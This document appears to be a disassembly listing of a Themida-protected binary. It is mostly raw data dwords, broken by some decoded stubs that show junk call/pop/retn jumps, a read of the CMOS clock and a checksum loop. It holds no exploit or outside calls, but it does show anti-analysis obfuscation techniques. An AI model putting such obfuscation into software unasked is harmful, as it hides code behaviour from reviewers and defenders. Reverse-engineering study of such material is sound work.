dd 0E495C356h, 27A29551h, 0C812BD83h, 0F000615h, 2E84h
dd 13E900h, 5ACB0000h, 1C9D9E58h, 65BDE20Ah, 1DFD5BD4h
dd 0F5C62168h, 2CE9D6h, 9D890000h, 6122385h, 58B0Fh, 81660000h
dd 50E74BEFh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h
dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
dd 0EBE775h, 0E381C08Bh, 6872CE18h, 68F0Fh, 0BD890000h
dd 61200C5h, 1BD9BD83h, 0F030612h, 4DB85h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 0A5B52950h
dd 6606121Eh, 0BD83FA8Bh, 615C812h, 0A9840F00h, 6A000004h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 0B6F3C351h, 0C53CD26Dh, 56A5CE12h, 12B5FF5Bh
dd 6A0615C8h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 3A4FC357h, 0FFF266C1h, 121AA995h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 17CB314Eh, 0FB93D83Ch, 15820Fh, 10E90000h
dd 1E000000h, 0DB6B2868h, 0B56CB88Bh, 17E7CC4Ch, 8BB4C178h
dd 15C806B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1604h, 0C3514100h, 0C712D040h, 1000106h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0A5E6ECE9h, 8B6650A8h, 243489FBh, 0CE9h, 6DE89000h
dd 5A8C8284h, 0C3AF073h, 12B5FF20h, 6A0615C8h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
dd 5111C352h, 0AE201038h, 0FC30B83Fh, 1FCD9589h, 9D8B0612h
dd 61217D5h, 1C0595FFh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 4096D0C3h, 363580A0h
dd 8D31F1B8h, 6121075h, 0C806B58Bh, 9D010615h, 61204D5h
dd 1A5858Bh, 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 7E8BE1C3h, 634DB1BBh, 0DE8B5060h
dd 0C486895Fh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 17042444h, 46000000h, 30DCC356h, 958BB1F0h
dd 61209A1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 0B1C35747h, 189F4B78h, 91C00B52h, 0F04C283h, 5089F8BFh
dd 56006A20h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 32849D96h, 880FE00Bh, 2, 858DF98Bh, 615DC6Fh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0B4C35747h
dd 8FEE8BF1h, 80EBF60h, 9589455Fh, 6122B19h, 0B8868961h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 598FC350h, 82346C09h, 8E95Ch
dd 0D5CA0000h, 51331836h, 800F548Ah, 6, 1171BD8Bh, 6A0612h
dd 0C812B5FFh, 810F0615h, 9, 38E0Fh, 8B660000h, 0B19D8BFEh
dd 0FF061221h, 1206A595h, 0DA8B6606h, 0A775BF96h, 0E950017Fh
dd 0Fh, 3EC3D722h, 2A080DB3h, 0E6DE3AEAh, 964B0A77h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0EAC35141h, 6890Fh
dd 9D330000h, 6121171h, 0B5FFF1B3h, 615C812h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FFC35141h, 0A9859C0Dh
dd 0FF964DC6h, 12028195h, 8830F06h, 0F000000h, 28Dh, 83D98B00h
dd 122A09BDh, 840F0006h, 16h, 0BE9h, 9A799300h, 0CB3606B6h
dd 0B45C3F72h, 8970B350h, 0B5FF2434h, 615C812h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 6C35343h, 0FFB07F47h
dd 1218C195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1704h, 0C3564600h, 5AF8087Bh, 8B13DB80h, 1210CDBDh
dd 12B5FF06h, 6A0615C8h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 0FF4EC357h, 121BA195h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 0C348CBB4h, 7B6F82B9h, 6E81Ah, 0B0C30000h
dd 0E1C3B043h, 13E8h, 64FD200h, 105587CDh, 0E3781947h
dd 59BB3D3Ah, 0A54284ADh, 840Fh, 5F5B0000h, 6E8h, 5F469800h
dd 5F6C39F4h, 1EB1BD83h, 0F020612h, 4584h, 0F7C38100h
dd 8B388099h, 1203A585h, 9D8B6006h, 6121311h, 0CA1BD89h
dd 0C6610612h, 8E80000h, 81000000h, 0E0FFA065h, 893A2D71h
dd 1209CDBDh, 0E9515B06h, 0Dh, 553DC445h, 0DAB13CBEh, 70AC4C15h
dd 85C75B4Bh, 6121B59h, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_592263
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_592263 proc near ; CODE XREF: Themida_:0059225Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_592263 endp
; ---------------------------------------------------------------------------
db 16h
dd 6617BA77h, 90B8E381h, 0FFF19FE9h, 91B589FFh, 8B061216h
dd 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 0D2330388h, 8AF927B2h, 1858DF8h, 5706122Eh
dd 5FFFBF0Fh, 50AFB390h, 8B0Fh, 6A900000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 94C8C356h
dd 0D88D2005h, 9D8BB75Ah, 6121EEDh, 6A006Ah, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0E8408EC3h
dd 6ACB113Dh, 0E5958900h, 89061212h, 1223ED95h, 89858D06h
dd 6A0616BAh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 0AF62C356h, 773DDE33h, 286D9509h
dd 0C0830612h, 0DFB70F05h, 11E85090h, 0F5000000h, 386BC764h
dd 0BE49701Ah, 0B0416FC8h, 0A1EBA011h, 5F515250h, 5250310Fh
dd 585A310Fh, 905B585Ah, 19D58D29h, 6A0612h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 7CC35747h, 6A055E29h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 0FBA50BDDh, 0E9D2FD4Eh, 0Eh, 0F7161FC0h
dd 0FE2BC48Bh, 3CC1B091h, 95FF2D42h, 6120DB5h, 8B66DA8Bh
dd 28D8DFEh, 290615AFh, 122AE9B5h, 6AD1FF06h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 1BF6C351h, 6DAEFE9Eh, 89E7ADFAh, 12303D95h, 0ADBD8306h
dd 1061207h, 79850Fh, 12E90000h, 68000000h, 6A19F9E1h
dd 0EFA0B5B8h, 0E74FB926h, 1AFCDF20h, 0A18D31ACh, 6A061217h
dd 57006A02h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 85958925h, 90061216h, 8E960h, 1F540000h
dd 5601845Ah, 60609DD8h, 50616161h, 0AA0802BFh, 95019078h
dd 61203D1h, 6A595FFh, 870F0612h, 0Bh, 5800Fh, 69BF0000h
dd 0E93316A7h, 0E75h, 0E8h, 0ED815D00h, 616BA93h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0E4C35343h, 0C59713C2h
dd 0BD019DDBh, 61222E1h, 3462BB66h, 8D0Fh, 858D0000h, 6159437h
dd 0E9525090h, 6, 41CDF0DCh, 310FA0E6h, 5ADF8B66h, 0C1BF5058h
dd 907D81D7h, 68F0Fh, 8D890000h, 6121881h, 35FF64h, 0F000000h
dd 688h, 719D2300h, 6406121Fh, 2589h, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 8076D5C3h, 0ACA70A2Bh, 870F267Dh, 3, 0FFDFBF0Fh, 12067985h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 0CDDD6622h, 0BE9616CCh, 11E860h, 0A63F0000h
dd 407E56FFh, 0EEACA2F8h, 8C46B76Ah, 97BB25Eh, 122965B5h
dd 6A615E06h, 11E9FFh, 0BCD60000h, 0F3A513D8h, 0DF672B9Bh
dd 0CFF00E3Dh, 0FF840162h, 123119B5h, 55006A06h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 0F78CB5ACh, 72EA5231h, 2CB595FFh, 2BE90612h, 8B000001h
dd 121235BDh, 0F00B006h, 580h, 0F7816600h, 70E6E3D2h, 71E4F98Bh
dd 8E9h, 0B378C900h, 94D32B87h, 0F613CE6h, 0FD83h, 0FEBF0F00h
dd 66C8B60Fh, 6BAD88Bh, 60000000h, 8BCEB70Fh, 1228A19Dh
dd 0C18B6106h, 12E9h, 67B7C100h, 4990AEEBh, 4A818E1Eh
dd 359783CDh, 0C13F7C33h, 958904E8h, 6121159h, 31E2F766h
dd 12208185h, 0FC82B06h, 884h, 9D8B5700h, 6122EFDh, 0F9D18B5Fh
dd 0D9B70F60h, 29259D89h, 0E9610612h, 6, 11A19D8Bh, 858B0612h
dd 6121265h, 15B5BD8Bh, 0C0830612h, 33CF8007h, 6600C083h
dd 8989B3BFh, 1205AD95h, 0FD03B06h, 1883h, 0CE800h, 99970000h
dd 0D55FEDDAh, 46955D69h, 0E95F1BF2h, 52h, 0C18D8BFCh
dd 0E9061208h, 14h, 32A65852h, 516ED365h, 0CC906BFFh, 0F72F5DEBh
dd 2E29EC5Ah, 0F01E183h, 2984h, 0F7816600h, 0A58308FEh
dd 61208C1h, 0A5BD8BFEh, 89061204h, 12126595h, 68C0F06h
dd 8B000000h, 120975BDh, 0E906h, 0B58D0000h, 6163123h
dd 6AFD8Ah, 18999D0Bh, 7E90612h, 0C6000000h, 2B52F8D0h
dd 95FFA6FCh, 61219CDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 2CC35545h, 64CA30B6h, 0F8627862h, 85FB9h
dd 83FA8B00h, 8166FCE1h, 0FC9EB3DBh, 4EE6BF66h, 0B8D98B66h
dd 0
dd 4880Fh, 0BF660000h, 0B5894E66h, 6120329h, 9529D22Bh
dd 6120CB9h
; ---------------------------------------------------------------------------
loc_592790: ; CODE XREF: Themida_:0059279Aj
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_592790
; ---------------------------------------------------------------------------
dd 68A0Fh, 0BD8B0000h, 612064Dh, 153DBD89h, 880D0612h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 0DB93C350h, 0DC9DDE13h, 599D89DCh
dd 8B061204h, 1209A195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 0A0789077h, 0FABF0F88h
dd 5058D8Bh, 8B500612h, 3188BC2h, 8B188BC1h, 3E8D1C1h
dd 58188BC2h, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 21BD83D4h, 61221h, 48840Fh, 8B530000h
dd 0B85FD9h, 0F000000h, 887h, 28D0F00h, 8A000000h, 0B58D8DDEh
dd 6A06124Dh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 8FC5C357h, 0FEE006C8h, 0E1FF8E78h
dd 5319D8Bh, 0BD830612h, 6121BD9h, 0A0840F00h, 6A000005h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 89C0C352h, 0CE1A36C7h, 18E1BD89h, 0BD830612h
dd 6121BD9h, 87840F01h, 6A000005h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 10B2C350h
dd 0BD83837Ah, 6121BD9h, 25860F03h, 60000005h, 0FFB8B66h
dd 6061F8BFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 0FEC35646h, 38716508h, 71BF2EB0h, 663C8C6Bh, 9D8BD98Ch
dd 6121D91h, 6A04E180h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 7F41C350h, 57FF09CAh
dd 2275B589h, 0A5F0612h, 8B840FC9h, 8B000001h, 121C199Dh
dd 8D858B06h, 6A061230h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 130C357h, 8E9h, 9560EC00h
dd 7575B66Bh, 65853372h, 0E9061231h, 0Ch, 85916D0Fh, 0FE7F950Ch
dd 53C9BC9Dh, 0BE890h, 30400000h, 82FE2A54h, 0A5F1664Eh
dd 4BBF6679h, 50505B43h, 7BB36052h, 7E9h, 6FD42900h, 27525CDDh
dd 0E9310F61h, 8, 9A4050C7h, 3F7A9467h, 6A90585Ah, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 0F81CC350h, 9D8B40FEh, 6123001h, 6A006Ah, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 0C53AC3h
dd 0DBB70F51h, 159D8B57h, 5B061231h, 4E8h, 1F03FF00h, 52505300h
dd 310F5250h, 310F585Ah, 310F5250h, 585A585Ah, 12E8505Fh
dd 8A000000h, 0F00AFA78h, 92C12E0Bh, 0C58E9AA1h, 25CE921Ch
dd 5B5F539Eh, 424448Bh, 48E0Fh, 0BB660000h, 8B3393h, 6E9h
dd 0D2D47600h, 891515BDh, 0E9042444h, 11h, 3DC2B63Eh, 0E778DD73h
dd 27168F73h, 35668A3Bh, 6A583Ch, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 0D984F2C3h, 7995FFD2h
dd 0BB061223h, 5F315161h, 0C8128589h, 8C0F0615h, 6, 907ECB81h
dd 9EE903C5h, 66000002h, 858BD98Bh, 615C80Ah, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0B8C35242h, 37823147h
dd 6C65C5A1h, 1C5DBD8Bh, 13E80612h, 68000000h, 42815648h
dd 1763400h, 40DABA50h, 1F129C44h, 0BF66CC08h, 0C75B4C80h
dd 1800h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1D04h, 0C3524200h, 3598261Ch, 14AFCD3Eh, 0B58BCC10h
dd 615C80Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 2AC35747h, 9D00215Ah, 10B9D15Eh, 5800Fh, 3ABF0000h
dd 8B527702h, 122AB985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 0C7606EE0h, 60755817h
dd 0FCEB70Fh, 68Ch, 0C98D2900h, 61061223h, 0BD890689h
dd 6121321h, 308D858Bh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 5E2BE4C3h, 72B66097h
dd 0D19D8B52h, 5B061221h, 4468961h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 0A2C35646h, 0E6D27F99h, 96A9B5B3h
dd 28E0FDFh, 0B7000000h, 8B6696DFh, 0CE850FEh, 8E000000h
dd 92D253A8h, 0AB0F5514h, 0BBEE2329h, 1D5278E2h, 6A965Fh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0BBF2A6C3h, 400D5BC4h, 0C80AB5FFh, 6A0615h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 950FDFC3h, 93D2FA70h, 895009B5h, 123041BDh, 4E806h
dd 3FF0000h, 8C0F001Fh, 13h, 0EE9h, 7D8BDE00h, 5F9F683Bh
dd 55DA7197h, 50665275h, 277632BBh, 24448B1Ah, 0D98B6604h
dd 4489008Bh, 8B660424h, 6A58DAh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 0C8C66AC3h, 6DA8B807h
dd 8B676B44h, 1219E5BDh, 12858D06h, 6A0615C8h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
dd 95F9C355h, 6E9h, 7EEED800h, 89EAE3A8h, 122C399Dh, 830F9006h
dd 0Bh, 70B35250h, 8B66310Fh, 50585AD8h, 90DA8B66h, 95FFD98Ah
dd 6122379h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Dh, 0D8C35545h, 0B852FFC2h, 0A254C84Dh, 8E96170h, 0F3000000h
dd 0BAAE7559h, 0C73C8108h, 121BD985h, 306h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 324B2D08h, 65116F18h, 5416BF30h, 0BD836D25h, 615C812h
dd 45840F00h, 8B000000h, 12004DBDh, 0F9BD8B06h, 0E906122Fh
dd 4Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h
dd 42C35343h, 6CB58C53h, 9C24BF66h, 0A19D0160h, 0F061222h
dd 28Dh, 615A5300h, 110C3050h, 1114400h, 3010E8C1h, 21144h
dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 6AC08B00h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 0ABCFC350h, 6AE1DB69h
dd 68A0Fh, 0EB810000h, 7679EAB9h, 30259D8Bh, 6A0612h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 828D52C3h, 0EFBF5DFBh, 2DA22BFh, 6D8D295Bh, 83061201h
dd 121BD9BDh, 850F0306h, 3EBh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 16h, 98C35141h, 0BD03DEB1h, 6120DADh
dd 0C812BD83h, 0F000615h, 3BA84h, 0D1852900h, 0FF06120Eh
dd 15C812B5h, 0ACBF6606h, 0A995FFBCh, 0F906121Ah, 0C806B58Bh
dd 0E3800615h, 0D78166D9h, 6C728FBh, 10001h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 80C35747h, 38DEF44Eh
dd 70894317h, 0AE8964Eh, 0D000000h, 3E61C90Ah, 50DC7141h
dd 6850FCFh, 50000000h, 5A310F52h, 0B7505B58h, 0B5FF9675h
dd 615C812h, 9B04F381h, 95FF68AAh, 6121C05h, 0B58BDE8Bh
dd 615C806h
dd 29D19D8Bh, 858B0612h, 61201A5h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 0D9C35242h, 86892378h, 0C4h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 5FC35141h
dd 0F88A5B4Ah, 0A18D2960h, 60061228h, 0AE9h, 6B4E4100h
dd 0AAE19B91h, 8B415BC8h, 121D6985h, 8B616106h, 1209A195h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 8EDF2232h, 0ACABA4B0h, 6A04C283h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 8157C352h, 9C5F91C7h, 2050896Fh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 0B2C35242h, 0D86C2DFBh, 0BD8BA463h
dd 6123139h, 5AF55260h, 0F58D8Bh, 8D610612h, 15DC6F85h
dd 0B8868906h, 6A000000h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 898A305h, 9D893C4Fh
dd 6121BD5h, 0C812B5FFh, 95FF0615h, 61206A5h, 3850Fh, 0C3800000h
dd 52509681h, 0C8C0Fh, 7E90000h, 0DC000000h, 0AAADBh, 310FF52Ch
dd 585A1EB7h, 0B3525050h, 5A310F4Dh, 0BF669658h, 8166574Fh
dd 0FF2B03C7h, 15C812B5h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0E2495C22h
dd 1799D89h, 95FF0612h, 6120281h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 1BC35242h, 0FD050B7Dh, 0EF816617h
dd 0BD8356BEh, 6122A09h, 69840F00h, 0E8000000h, 0Bh, 59AA2891h
dd 0EC0B9E1Eh, 0B17B308h, 1223DDBDh, 0B5895B06h, 61209F1h
dd 0F525050h, 13E831h, 0FDAE0000h, 0FF30B172h, 6E3956F0h
dd 51F13ADFh, 95B44418h, 8E0F57h, 5F000000h, 3489585Ah
dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 85096329h, 6121495h, 0C812B5FFh, 0BB660615h
dd 95FF2F3Bh, 61218C1h, 0AE8h, 69D01D00h, 54E9D842h, 0FDE525Dh
dd 68Ah, 0E1BD8B00h, 5B061223h, 0C812B5FFh, 6A0615h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 0E18A6CC3h, 0E8237E8Bh, 0Fh, 0F633C7FCh, 0A2160054h
dd 0B7498BAAh, 0F587F5Fh, 0FF5FFEB7h, 121BA195h, 29BD8B06h
dd 83061210h, 121EB1BDh, 840F0206h, 46h, 14D9BD8Bh, 8E90612h
dd 0D6000000h, 41D68B99h, 8B82FB59h, 1203A585h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 0B5896006h, 61216B1h, 6116DF80h, 0F0000C6h, 85C7FFBFh
dd 6121B59h, 0
dd 6E860h, 83E00000h, 82940FF8h, 10E95Fh, 0B3BA0000h, 0AA32F49h
dd 0E8A7160Fh, 0B784401Ah, 0E9614530h, 0FFFFF2CFh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 34C35242h, 0F17A48Ch
dd 0C18BFE8Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 92C35646h, 0EBB860D9h, 8B77D699h, 1858DF9h, 6A06122Eh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 0E80EC351h, 0Bh, 0ECDC4D84h, 0F52700CBh
dd 8BEA757Dh, 1229059Dh, 60905F06h, 0BCB96651h, 0BB665B4Dh
dd 5061D6F4h, 0AE9h, 90EF3A00h, 0E384ACC0h, 9081E2E6h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0A1C35747h
dd 89A6E2BDh, 122919B5h, 80006A06h, 6A91CFh, 7D953360h
dd 2B06121Dh, 12211DB5h, 0FE96106h, 11000000h, 9580BCAh
dd 7C13A17Dh, 9984321Fh, 858D7079h, 616CB51h, 48B0Fh, 0BF660000h
dd 0C0837640h, 0DB53105h, 9006121Dh, 9E8h, 0AF2B2300h
dd 276170E2h, 0BF579C5Ch, 58B217EDh, 0E8505B5Bh, 0Ch, 933C80D1h
dd 17526C7Fh, 9DC7B63Dh, 0BE8h, 111D300h, 12B43B59h, 81B91087h
dd 5B5FF98Bh, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1C04h, 0C3524200h, 550EC887h, 5263DE41h, 85895254h
dd 6122BEDh, 8B006A5Bh, 6A006AFAh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 4B2CC355h
dd 0C54061F3h, 0E8B59FDEh, 14h, 31BF9F88h, 279F806Ah, 8BF6C07Ah
dd 188A0DD5h, 46FC4B57h, 7D1BD8Bh, 0FF5B0612h, 120DB595h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 4CBF6623h, 28D8D5Ch, 530615AFh, 25D9D8Bh
dd 0FF5F0612h, 56006AD1h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 4407D4C1h, 23F7845h, 0DBB70FF7h
dd 7ADBD83h, 0F010612h, 7285h, 5E900h, 0C93D0000h, 6A34F992h
dd 57006A02h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 436C7ECAh, 55C17B0Ch, 0DF8B902Ah, 50605150h
dd 5A310F52h, 905B6158h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 2EC35545h, 0A15BE87Eh, 0DA8B9B81h, 6A595FFh
dd 0FC600612h, 126D8D89h, 0E9610612h, 0DE1h, 0E8h, 0ED815D00h
dd 616CB5Bh, 565B529h, 23570612h, 121CB59Dh, 0BD8B5F06h
dd 6120489h, 9437858Dh, 0F900615h, 28Ch, 50D88B00h, 4B39BF66h
dd 13E990h, 62630000h, 3977ABCDh, 0DB0D0C1Dh, 0D8E2C7C5h
dd 53F3FD09h, 35FF644Fh, 0
; ---------------------------------------------------------------------------
mov [ebp+6120C31h], eax
mov large fs:0, esp
mov bh, 0FDh
inc dword ptr [ebp+6120679h]
mov ebx, [ebp+612111Dh]
push 0FFFFFFFFh
push 0
push edi
call sub_5935E8
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5935E8 proc near ; CODE XREF: Themida_:005935E0p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5935E8 endp
; ---------------------------------------------------------------------------
popa
ja short loc_59361A
inc edi
push cs
cli
ror byte ptr [ecx], 8Dh
lodsd
push ds
adc al, [esi]
push ecx
cmc
pop edi
push dword ptr [ebp+6122A69h]
call dword ptr [ebp+6122CB5h]
jmp loc_593701
; ---------------------------------------------------------------------------
db 0B0h
; ---------------------------------------------------------------------------
loc_59361A: ; CODE XREF: Themida_:005935F9j
add [ebx-748F198Dh], dh
mov ebp, 6122081h
in al, 71h ; CMOS Memory
mov di, 1123h
cmp al, 61h
jnb loc_593701
and ebx, [ebp+6122AC5h]
movzx ecx, al
pusha
mov di, 0F1A9h
movsx ebx, dx
popa
mov edi, [ebp+6120509h]
mov edx, 6
mov ebx, [ebp+6122FF1h]
mov eax, ecx
movzx ebx, di
shr eax, 4
mov ebx, [ebp+6120EEDh]
mul dx
adc ebx, 6558D609h
sub ecx, eax
mov ebx, [ebp+612311Dh]
mov edx, ecx
mov edi, 7489DF39h
jmp loc_593701
; ---------------------------------------------------------------------------
jmp loc_59368E
; ---------------------------------------------------------------------------
dw 0FA56h
dd 9D3CCA78h
db 0E2h, 0C6h
; ---------------------------------------------------------------------------
loc_59368E: ; CODE XREF: Themida_:00593681j
mov eax, [ebp+8]
mov ebx, [ebp+6120585h]
add eax, 7
or [ebp+6122D89h], edi
add eax, 0
jbe loc_5936BD
jmp loc_5936BD
; ---------------------------------------------------------------------------
xchg eax, ecx
das
mov ebx, 3C2C1963h
lahf
retn
; ---------------------------------------------------------------------------
dw 2F86h
db 0E6h
; ---------------------------------------------------------------------------
loc_5936BD: ; CODE XREF: Themida_:005936A6j
; Themida_:005936ACj
cmp edx, eax
jnb loc_5936D2
mov edi, esi
jmp loc_593701
; ---------------------------------------------------------------------------
or [ebp+6121C55h], esi
loc_5936D2: ; CODE XREF: Themida_:005936BFj
mov ecx, [ebp-1]
mov ebx, 3C9FF915h
and ecx, 1
jz loc_593701
and dword ptr [ebp-1], 0FFFFFFFEh
movsx edi, bx
mov [ebp+8], edx
xor ebx, 727A2E09h
jmp $+5
loc_593701: ; CODE XREF: Themida_:00593614j
; Themida_:0059362Dj ...
lea esi, [ebp+6164A0Bh]
push 0
push edi
call sub_593712
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_593712 proc near ; CODE XREF: Themida_:0059370Ap
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_593712 endp
; ---------------------------------------------------------------------------
dw 171h
dd 0F6BE0B9h, 487h, 61605000h, 0F006A5Fh, 95FFFFBFh, 61219CDh
dd 34C1BD8Bh, 7DB90612h, 52000010h, 219D8B53h, 5B061215h
dd 5185895Bh, 8306121Dh, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 89C187C3h, 1201B19Dh
dd 6AFC06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 0FD8F20C3h, 3F26DD29h, 4830FE0h, 66000000h
dd 2BE4A4BFh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 0FB4D6C4h, 9DBD8B10h, 2B061209h
dd 57006AD2h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h
